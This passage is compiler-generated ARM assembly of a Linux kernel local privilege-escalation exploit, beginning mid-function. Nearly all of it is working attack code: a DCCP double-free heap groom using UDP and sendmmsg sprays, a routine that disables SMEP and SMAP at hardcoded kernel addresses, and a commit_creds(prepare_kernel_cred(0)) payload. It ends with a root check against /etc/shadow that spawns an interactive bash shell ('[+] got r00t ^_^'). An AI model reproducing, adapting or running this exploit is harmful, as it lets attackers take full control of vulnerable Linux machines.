	bl	kmalloc_warm
	ldr	r0, .L135+16
	bl	debug
	ldr	r3, .L135+20
	ldr	r2, [r3]
	add	r3, r2, #1
	ldr	r1, .L135+20
	str	r3, [r1]
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #40
	mov	r1, r2
	mov	r0, r3
	bl	dccp_init
	ldr	r0, .L135+24
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #40
	mov	r0, r3
	bl	dccp_kmalloc_kfree
	ldr	r0, .L135+28
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-100]
	b	.L120
.L121:
	sub	r2, fp, #4096
	sub	r2, r2, #4
	sub	r2, r2, #4
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #32
	mov	r1, r2
	mov	r0, r3
	bl	udp_fifo_kmalloc
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	add	r3, r3, #1
	str	r3, [r2, #-100]
.L120:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	cmp	r3, #5
	ble	.L121
	ldr	r0, .L135+32
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #40
	mov	r0, r3
	bl	dccp_kfree_again
	ldr	r0, .L135+36
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-100]
	b	.L122
.L123:
	sub	r2, fp, #4096
	sub	r2, r2, #4
	sub	r2, r2, #4
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #24
	mov	r1, r2
	mov	r0, r3
	bl	udp_fifo_kmalloc
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	add	r3, r3, #1
	str	r3, [r2, #-100]
.L122:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	cmp	r3, #5
	ble	.L123
	ldr	r0, .L135+40
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-100]
	b	.L124
.L125:
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #32
	mov	r0, r3
	bl	udp_fifo_kfree
	bl	timer_kmalloc
	mov	r2, r0
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	lsl	r3, r3, #2
	add	r3, r1, r3
	str	r2, [r3, #-64]
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	add	r3, r3, #1
	str	r3, [r2, #-100]
.L124:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	cmp	r3, #5
	ble	.L125
	ldr	r0, .L135+44
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-100]
	b	.L126
.L127:
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #8
	mov	r0, r3
	bl	udp_fifo_kmalloc_small
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	add	r3, r3, #1
	str	r3, [r2, #-100]
.L126:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	cmp	r3, #63
	ble	.L127
	ldr	r0, .L135+48
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-100]
	b	.L128
.L129:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3, #-64]
	mov	r1, #500
	mov	r0, r3
	bl	timer_schedule
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	add	r3, r3, #1
	str	r3, [r2, #-100]
.L128:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	cmp	r3, #5
	ble	.L129
	ldr	r0, .L135+52
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-100]
	b	.L130
.L131:
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #24
	mov	r0, r3
	bl	udp_fifo_kfree
	sub	r2, fp, #2048
	sub	r2, r2, #4
	sub	r2, r2, #4
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #16
	mov	r1, r2
	mov	r0, r3
	bl	udp_fifo_kmalloc
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	add	r3, r3, #1
	str	r3, [r2, #-100]
.L130:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	cmp	r3, #5
	ble	.L131
	ldr	r0, .L135+56
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-100]
	b	.L132
.L133:
	sub	r3, fp, #4160
	sub	r3, r3, #4
	sub	r3, r3, #8
	mov	r0, r3
	bl	udp_fifo_kmalloc_small
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	add	r3, r3, #1
	str	r3, [r2, #-100]
.L132:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-100]
	cmp	r3, #63
	ble	.L133
	ldr	r0, .L135+60
	bl	puts
	ldr	r0, .L135+64
	bl	debug
	mov	r0, #1
	bl	sleep
	ldr	r0, .L135+68
	bl	puts
	nop
	ldr	r3, .L135
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L134
	bl	__stack_chk_fail
.L134:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L136:
	.align	2
.L135:
	.word	.LC43
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	port
	.word	.LC31
	.word	.LC32
	.word	.LC33
	.word	.LC34
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC38
	.word	.LC39
	.word	.LC40
	.word	.LC41
	.word	.LC42
	.size	kernel_exec_irq, .-kernel_exec_irq
	.section	.rodata
	.align	2
.LC44:
	.ascii	"[.] disabling SMEP & SMAP\000"
	.align	2
.LC45:
	.ascii	"[.] SMEP & SMAP should be off now\000"
	.text
	.align	2
	.global	disable_smep_smap
	.syntax unified
	.arm
	.fpu softvfp
	.type	disable_smep_smap, %function
disable_smep_smap:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r0, .L138
	bl	puts
	ldr	r1, .L138+4
	ldr	r0, .L138+8
	bl	kernel_exec_irq
	ldr	r0, .L138+12
	bl	puts
	nop
	pop	{fp, pc}
.L139:
	.align	2
.L138:
	.word	.LC44
	.word	263904
	.word	-2130295472
	.word	.LC45
	.size	disable_smep_smap, .-disable_smep_smap
	.section	.rodata
	.align	2
.LC46:
	.ascii	"[.] executing %p\012\000"
	.align	2
.LC47:
	.ascii	"dccp kfree again:\000"
	.align	2
.LC48:
	.ascii	"catch 1 -> overwrite\000"
	.align	2
.LC49:
	.ascii	"catch 2 -> free & trigger\000"
	.align	2
.LC50:
	.ascii	"catch 1 & 2\000"
	.align	2
.LC51:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	kernel_exec
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_exec, %function
kernel_exec:
	@ args = 0, pretend = 0, frame = 4176
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #4160
	sub	sp, sp, #16
	sub	r3, fp, #4096
	sub	r3, r3, #4
	str	r0, [r3, #-76]
	ldr	r3, .L152
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r1, [r3, #-76]
	ldr	r0, .L152+4
	bl	printf
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r2, #2048
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r1, [r2, #-76]
	mov	r0, r3
	bl	init_skb_buffer
	sub	r3, fp, #4160
	sub	r3, r3, #4
	mov	r0, r3
	bl	udp_fifo_init
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #56
	mov	r0, r3
	bl	udp_fifo_init
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #48
	mov	r0, r3
	bl	udp_fifo_init
	ldr	r0, .L152+8
	bl	debug
	bl	kmalloc_pad
	ldr	r0, .L152+12
	bl	debug
	bl	kmalloc_warm
	ldr	r0, .L152+16
	bl	debug
	ldr	r3, .L152+20
	ldr	r2, [r3]
	add	r3, r2, #1
	ldr	r1, .L152+20
	str	r3, [r1]
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #40
	mov	r1, r2
	mov	r0, r3
	bl	dccp_init
	ldr	r0, .L152+24
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #40
	mov	r0, r3
	bl	dccp_kmalloc_kfree
	ldr	r0, .L152+28
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-68]
	b	.L141
.L142:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #4
	sub	r2, fp, #4160
	sub	r2, r2, #4
	mov	r1, r3
	mov	r0, r2
	bl	udp_fifo_kmalloc
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	add	r3, r3, #1
	str	r3, [r2, #-68]
.L141:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	cmp	r3, #5
	ble	.L142
	ldr	r0, .L152+32
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #40
	mov	r0, r3
	bl	dccp_kfree_again
	ldr	r0, .L152+36
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-68]
	b	.L143
.L144:
	sub	r2, fp, #4096
	sub	r2, r2, #4
	sub	r2, r2, #4
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #56
	mov	r1, r2
	mov	r0, r3
	bl	udp_fifo_kmalloc
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	add	r3, r3, #1
	str	r3, [r2, #-68]
.L143:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	cmp	r3, #5
	ble	.L144
	ldr	r0, .L152+40
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-68]
	b	.L145
.L146:
	sub	r3, fp, #4160
	sub	r3, r3, #4
	mov	r0, r3
	bl	udp_fifo_kfree
	ldr	r3, .L152+20
	ldr	r2, [r3]
	add	r3, r2, #1
	ldr	r1, .L152+20
	str	r3, [r1]
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, r2
	bl	sendmmsg_kmalloc_kfree
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	add	r3, r3, #1
	str	r3, [r2, #-68]
.L145:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	cmp	r3, #5
	ble	.L146
	ldr	r0, .L152+44
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-68]
	b	.L147
.L148:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #56
	mov	r0, r3
	bl	udp_fifo_kfree
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	add	r3, r3, #1
	str	r3, [r2, #-68]
.L147:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	cmp	r3, #5
	ble	.L148
	ldr	r0, .L152+48
	bl	debug
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-68]
	b	.L149
.L150:
	sub	r2, fp, #4096
	sub	r2, r2, #4
	sub	r2, r2, #4
	sub	r3, fp, #4096
	sub	r3, r3, #4
	sub	r3, r3, #48
	mov	r1, r2
	mov	r0, r3
	bl	udp_fifo_kmalloc
	sub	r3, fp, #4096
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	add	r3, r3, #1
	str	r3, [r2, #-68]
.L149:
	sub	r3, fp, #4096
	sub	r3, r3, #4
	ldr	r3, [r3, #-68]
	cmp	r3, #15
	ble	.L150
	ldr	r0, .L152+52
	bl	puts
	nop
	ldr	r3, .L152
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L151
	bl	__stack_chk_fail
.L151:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L153:
	.align	2
.L152:
	.word	.LC51
	.word	.LC46
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	port
	.word	.LC31
	.word	.LC32
	.word	.LC47
	.word	.LC34
	.word	.LC48
	.word	.LC49
	.word	.LC50
	.word	.LC42
	.size	kernel_exec, .-kernel_exec
	.global	commit_creds
	.data
	.align	2
	.type	commit_creds, %object
	.size	commit_creds, 4
commit_creds:
	.word	-2130040768
	.global	prepare_kernel_cred
	.align	2
	.type	prepare_kernel_cred, %object
	.size	prepare_kernel_cred, 4
prepare_kernel_cred:
	.word	-2130039760
	.text
	.align	2
	.global	get_root_payload
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_root_payload, %function
get_root_payload:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	ldr	r3, .L155
	ldr	r4, [r3]
	ldr	r3, .L155+4
	ldr	r3, [r3]
	mov	r0, #0
	blx	r3
	mov	r3, r0
	mov	r0, r3
	blx	r4
	nop
	pop	{r4, r5, fp, pc}
.L156:
	.align	2
.L155:
	.word	commit_creds
	.word	prepare_kernel_cred
	.size	get_root_payload, .-get_root_payload
	.section	.rodata
	.align	2
.LC52:
	.ascii	"[.] getting root\000"
	.align	2
.LC53:
	.ascii	"[.] should be root now\000"
	.text
	.align	2
	.global	get_root
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_root, %function
get_root:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r0, .L158
	bl	puts
	ldr	r0, .L158+4
	bl	kernel_exec
	ldr	r0, .L158+8
	bl	puts
	nop
	pop	{fp, pc}
.L159:
	.align	2
.L158:
	.word	.LC52
	.word	get_root_payload
	.word	.LC53
	.size	get_root, .-get_root
	.section	.rodata
	.align	2
.LC54:
	.ascii	"/bin/bash\000"
	.align	2
.LC55:
	.ascii	"-i\000"
	.align	2
.LC56:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	exec_shell
	.syntax unified
	.arm
	.fpu softvfp
	.type	exec_shell, %function
exec_shell:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	ldr	r3, .L162
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L162+4
	str	r3, [fp, #-24]
	ldr	r3, [fp, #-24]
	str	r3, [fp, #-20]
	ldr	r3, .L162+8
	str	r3, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-12]
	sub	r3, fp, #20
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-24]
	bl	execve
	nop
	ldr	r3, .L162
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L161
	bl	__stack_chk_fail
.L161:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L163:
	.align	2
.L162:
	.word	.LC56
	.word	.LC54
	.word	.LC55
	.size	exec_shell, .-exec_shell
	.section	.rodata
	.align	2
.LC57:
	.ascii	"fork()\000"
	.text
	.align	2
	.global	fork_shell
	.syntax unified
	.arm
	.fpu softvfp
	.type	fork_shell, %function
fork_shell:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmn	r3, #1
	bne	.L165
	ldr	r0, .L168
	bl	perror
	mov	r0, #1
	bl	exit
.L165:
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	bne	.L167
	bl	exec_shell
.L167:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L169:
	.align	2
.L168:
	.word	.LC57
	.size	fork_shell, .-fork_shell
	.section	.rodata
	.align	2
.LC58:
	.ascii	"/etc/shadow\000"
	.text
	.align	2
	.global	is_root
	.syntax unified
	.arm
	.fpu softvfp
	.type	is_root, %function
is_root:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	mov	r1, #0
	ldr	r0, .L173
	bl	open
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmn	r3, #1
	bne	.L171
	mov	r3, #0
	b	.L172
.L171:
	ldr	r0, [fp, #-8]
	bl	close
	mov	r3, #1
.L172:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L174:
	.align	2
.L173:
	.word	.LC58
	.size	is_root, .-is_root
	.section	.rodata
	.align	2
.LC59:
	.ascii	"[.] checking if we got root\000"
	.align	2
.LC60:
	.ascii	"[-] something went wrong =(\000"
	.align	2
.LC61:
	.ascii	"[!] don't kill the exploit binary, the kernel will "
	.ascii	"crash\000"
	.align	2
.LC62:
	.ascii	"[+] got r00t ^_^\000"
	.text
	.align	2
	.global	check_root
	.syntax unified
	.arm
	.fpu softvfp
	.type	check_root, %function
check_root:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r0, .L178
	bl	puts
	bl	is_root
	mov	r3, r0
	eor	r3, r3, #1
	and	r3, r3, #255
	cmp	r3, #0
	beq	.L176
	ldr	r0, .L178+4
	bl	puts
	ldr	r0, .L178+8
	bl	puts
	pop	{fp, pc}
.L176:
	ldr	r0, .L178+12
	bl	puts
	ldr	r0, .L178+8
	bl	puts
	bl	fork_shell
	pop	{fp, pc}
.L179:
	.align	2
.L178:
	.word	.LC59
	.word	.LC60
	.word	.LC61
	.word	.LC62
	.size	check_root, .-check_root
	.section	.rodata
	.align	2
.LC63:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	write_file, %function
write_file:
	@ args = 4, pretend = 12, frame = 1048
	@ frame_needed = 1, uses_anonymous_args = 1
	push	{r1, r2, r3}
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #1040
	sub	sp, sp, #12
	str	r0, [fp, #-1052]
	ldr	r3, [fp, #4]
	str	r3, [fp, #-1056]
	ldr	r3, .L186
	ldr	r3, [r3]
	str	r3, [fp, #-12]
	mov	r3,#0
	add	r3, fp, #8
	str	r3, [fp, #-1048]
	sub	r0, fp, #1024
	sub	r0, r0, #8
	sub	r0, r0, #4
	ldr	r3, [fp, #-1048]
	ldr	r2, [fp, #-1056]
	mov	r1, #1024
	bl	vsnprintf
	mov	r3, #0
	strb	r3, [fp, #-13]
	sub	r3, fp, #1024
	sub	r3, r3, #8
	sub	r3, r3, #4
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	str	r3, [fp, #-1044]
	ldr	r1, .L186+4
	ldr	r0, [fp, #-1052]
	bl	open
	str	r0, [fp, #-1040]
	ldr	r3, [fp, #-1040]
	cmn	r3, #1
	bne	.L181
	mov	r3, #0
	b	.L184
.L181:
	ldr	r2, [fp, #-1044]
	sub	r3, fp, #1024
	sub	r3, r3, #8
	sub	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-1040]
	bl	write
	mov	r2, r0
	ldr	r3, [fp, #-1044]
	cmp	r3, r2
	beq	.L183
	ldr	r0, [fp, #-1040]
	bl	close
	mov	r3, #0
	b	.L184
.L183:
	ldr	r0, [fp, #-1040]
	bl	close
	mov	r3, #1
.L184:
	ldr	r2, .L186
	ldr	r1, [r2]
	ldr	r2, [fp, #-12]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L185
	bl	__stack_chk_fail
.L185:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, lr}
	add	sp, sp, #12
	bx	lr
.L187:
	.align	2
.L186:
	.word	.LC63
	.word	524289
	.size	write_file, .-write_file
	.section	.rodata
	.align	2
.LC64:
	.ascii	"unshare(CLONE_NEWUSER)\000"
	.align	2
.LC65:
	.ascii	"deny\000"
	.align	2
.LC66:
	.ascii	"/proc/self/setgroups\000"
	.align	2
.LC67:
	.ascii	"write_file(/proc/self/set_groups)\000"
	.align	2
.LC68:
	.ascii	"0 %d 1\012\000"
	.align	2
.LC69:
	.ascii	"/proc/self/uid_map\000"
	.align	2
.LC70:
	.ascii	"write_file(/proc/self/uid_map)\000"
	.align	2
.LC71:
	.ascii	"/proc/self/gid_map\000"
	.align	2
.LC72:
	.ascii	"write_file(/proc/self/gid_map)\000"
	.align	2
.LC73:
	.ascii	"sched_setaffinity()\000"
	.align	2
.LC74:
	.ascii	"/sbin/ifconfig lo up\000"
	.align	2
.LC75:
	.ascii	"system(/sbin/ifconfig lo up)\000"
	.align	2
.LC76:
	.ascii	"[.] namespace sandbox setup successfully\000"
	.align	2
.LC77:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	setup_sandbox
	.syntax unified
	.arm
	.fpu softvfp
	.type	setup_sandbox, %function
setup_sandbox:
	@ args = 0, pretend = 0, frame = 144
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #144
	ldr	r3, .L199
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	bl	getuid
	mov	r3, r0
	str	r3, [fp, #-148]
	bl	getgid
	mov	r3, r0
	str	r3, [fp, #-144]
	mov	r0, #268435456
	bl	unshare
	mov	r3, r0
	cmp	r3, #0
	beq	.L189
	ldr	r0, .L199+4
	bl	perror
	mov	r0, #1
	bl	exit
.L189:
	mov	r0, #1073741824
	bl	unshare
	mov	r3, r0
	cmp	r3, #0
	beq	.L190
	ldr	r0, .L199+4
	bl	perror
	mov	r0, #1
	bl	exit
.L190:
	ldr	r1, .L199+8
	ldr	r0, .L199+12
	bl	write_file
	mov	r3, r0
	eor	r3, r3, #1
	and	r3, r3, #255
	cmp	r3, #0
	beq	.L191
	ldr	r0, .L199+16
	bl	perror
	mov	r0, #1
	bl	exit
.L191:
	ldr	r2, [fp, #-148]
	ldr	r1, .L199+20
	ldr	r0, .L199+24
	bl	write_file
	mov	r3, r0
	eor	r3, r3, #1
	and	r3, r3, #255
	cmp	r3, #0
	beq	.L192
	ldr	r0, .L199+28
	bl	perror
	mov	r0, #1
	bl	exit
.L192:
	ldr	r2, [fp, #-144]
	ldr	r1, .L199+20
	ldr	r0, .L199+32
	bl	write_file
	mov	r3, r0
	eor	r3, r3, #1
	and	r3, r3, #255
	cmp	r3, #0
	beq	.L193
	ldr	r0, .L199+36
	bl	perror
	mov	r0, #1
	bl	exit
.L193:
	sub	r3, fp, #136
	mov	r0, r3
	mov	r3, #128
	mov	r2, r3
	mov	r1, #0
	bl	memset
	mov	r3, #0
	str	r3, [fp, #-140]
	ldr	r3, [fp, #-140]
	cmp	r3, #1024
	bcs	.L195
	ldr	r3, [fp, #-140]
	lsr	r3, r3, #5
	lsl	r2, r3, #2
	sub	r1, fp, #136
	add	r2, r1, r2
	ldr	r1, [r2]
	ldr	r2, [fp, #-140]
	and	r2, r2, #31
	mov	r0, #1
	lsl	r2, r0, r2
	lsl	r3, r3, #2
	sub	r0, fp, #136
	add	r3, r0, r3
	orr	r2, r1, r2
	str	r2, [r3]
.L195:
	sub	r3, fp, #136
	mov	r2, r3
	mov	r1, #128
	mov	r0, #0
	bl	sched_setaffinity
	mov	r3, r0
	cmp	r3, #0
	beq	.L196
	ldr	r0, .L199+40
	bl	perror
	mov	r0, #1
	bl	exit
.L196:
	ldr	r0, .L199+44
	bl	system
	mov	r3, r0
	cmp	r3, #0
	beq	.L197
	ldr	r0, .L199+48
	bl	perror
	mov	r0, #1
	bl	exit
.L197:
	ldr	r0, .L199+52
	bl	puts
	nop
	ldr	r3, .L199
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L198
	bl	__stack_chk_fail
.L198:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L200:
	.align	2
.L199:
	.word	.LC77
	.word	.LC64
	.word	.LC65
	.word	.LC66
	.word	.LC67
	.word	.LC68
	.word	.LC69
	.word	.LC70
	.word	.LC71
	.word	.LC72
	.word	.LC73
	.word	.LC74
	.word	.LC75
	.word	.LC76
	.size	setup_sandbox, .-setup_sandbox
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	bl	setup_sandbox
	bl	disable_smep_smap
	bl	get_root
	bl	check_root
.L202:
	mov	r0, #100
	bl	sleep
	b	.L202
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
